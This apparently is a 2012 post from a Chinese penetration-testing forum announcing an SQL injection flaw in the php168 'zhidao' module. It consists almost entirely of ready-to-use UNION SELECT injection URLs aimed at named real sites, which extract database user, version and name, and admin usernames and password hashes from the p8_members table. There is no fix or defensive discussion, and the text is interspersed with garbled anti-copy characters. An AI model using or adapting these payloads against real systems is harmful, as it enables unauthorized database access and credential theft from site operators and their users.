中国网络渗透测试联盟

标题: php168某系统注入漏洞 [打印本页]

作者: admin 时间: 2012-10-18 08:52
标题: php168某系统注入漏洞
http://v7.php168.com/zhidao/user.php?j=question&u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
$ |" e6 H+ x' s8 R
" E9 B9 }, Q+ `$ y3 Z0 y8 \/ v                                     [attach]94[/attach]: x# t" S% n  F( K' K
) i3 k$ @8 `0 f
http://www.china-highway.com/zhidao/user.php?%00&j=question&u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--
! e1 u8 S6 K1 M) `9 K. L                                                    3 i  ]4 q" ]! q; S

0 ]/ d4 E0 r6 F7 ^1 v3 o# @* f                                                       [attach]95[/attach]7 N* }$ \1 F& M! {9 D, y
http://v7.php168.com/zhidao/user ... u=-1+union+select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8--
2 `9 h5 E7 n1 J9 D6 o, z2 [. {5 I6 x" u. Y) L( h  ~" ~/ K

# _# H9 q1 C* R+ M7 J$ }* t
+ w6 P2 l3 w" a: S  l                                                          [attach]96[/attach]
4 N9 q2 T2 Y' `4 S' V% |
! o4 G- {3 ?  u' V) ]. i8 ohttp://www.china-highway.com/zhi ... u=-1+union+select+1,2,3,concat(0x3a,username,0x3a,password),5,6,7,8+from+p8_members+where+uid=1--) w, O" y+ I/ j" E" \

7 u* O* z: M4 _0 u2 h$ U  @' u9 ^: _' _" V8 b

- u4 P% U, S+ x                                                                   [attach]97[/attach]' B7 d3 i1 J. D5 a

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)